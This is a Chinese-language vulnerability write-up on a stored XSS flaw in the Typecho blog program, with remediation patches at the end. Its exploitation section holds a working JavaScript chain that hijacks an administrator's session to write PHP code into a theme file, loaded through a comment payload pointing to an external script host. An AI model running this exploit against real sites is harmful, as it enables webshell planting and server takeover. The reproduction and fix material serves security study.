Typecho
和WordPress一样,是一款简洁的博客程序。相比第二者它更加简单轻量,本身最新爆出最新版存在存储xss漏洞。本文简单的进行复现和利用。
注意: 本文仅供学习和研究,研究反对一切危害网络安全的行为。
漏洞复现
我们在文章的评论处写入poc。
https://bbskali.cn/"></a><script>alert(1)</script><a/href="#
如下:
提交之后,在前台文章处直接触发。同时在后台评论管理处也会直接触发。
漏洞利用
我们可以通过js编辑模板文件来写入一句话木马。这里通过js在网页的末尾插入一个iframe元素来打开模板编辑页面
// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
// 获取当前页面路径
var urlWithoutDomain = window.location.pathname;
// 判断页面是否为评论管理页面
var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
var tSrc='';
if (hasManageComments){
// 如果是,则将路径修改为用于修改主题文件的页面地址
tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
}else{
// 如果不是,则直接使用主题文件修改页面地址
tSrc='/admin/theme-editor.php?theme=default&file=404.php';
}
// 定义iframe元素的属性,包括id、src、width、height和onload事件
var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
// 获取网页原始内容
var originalContent = document.body.innerHTML;
// 在网页末尾添加iframe元素
document.body.innerHTML = (originalContent + iframeAttributes);
}
// 定义一个全局变量isSaved,初始值为false
var isSaved = false;
// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
// 如果isSaved为false
if (!isSaved) {
// 获取iframe内的内容区域和“保存文件”按钮元素
var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');
// 获取模板文件原始内容
var oldData = content.value;
// 在原始内容前加入一段phpinfo代码
content.value = ('<?php phpinfo(); ?>n') + oldData;
// 点击“保存文件”按钮
btns[1].click();
// 将isSaved设为true,表示已经完成写入操作
isSaved = true;
}
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件
insertIframe();
保存上述文件为js文件。在评论处构造paylaod
http://xxx.xxx.com/"></a><script/src=http://js地址></script><a/href="#
提交评论后,是没法复现的。只有管理员点击了后台的评论按钮,才会得到复现!
然后这里访问模板文件或者让文章404即可触发
/usr/themes/default/404.php
或/index.php/archives/1/A
漏洞修复
1 1.2版本修复
var/Widget/Base/Comments.php
271行
echo '<a href="' . $this->url . '"'
修改为
echo '<a href="' . Common::safeUrl($this->url) . '"'
这部分对评论中的网址输出进行了过滤使用safeUrl函数将url中的非法字符串进行处理
修改var/Widget/Feedback.php
209,308 行
$comment['url'] = $this->request->filter('trim')->url;
修改为
$comment['url'] = $this->request->filter('trim', 'url')->url;
308行将
$trackback['url'] = $this->request->filter('trim')->url;
修改为
$trackback['url'] = $this->request->filter('trim', 'url')->url;
var/Widget/Options.php
85行
* @property bool $commentsRequireURL
修改为
* @property bool $commentsRequireUrl
1 1.2.1-rc版本修复
修改/var/Typecho/Validate.php
第99行 修改为
return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
修改为
return (bool) preg_match("/^[_a-z0-9-.]+@([-a-z0-9]+.)+[a-z]{2,}$/i", $str);
修改完成后,在后台也就无法触发xss
更多精彩文章 欢迎关注我们
原文始发于微信公众号(kali黑客笔记):Typecho 存储Xss复现及修复
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论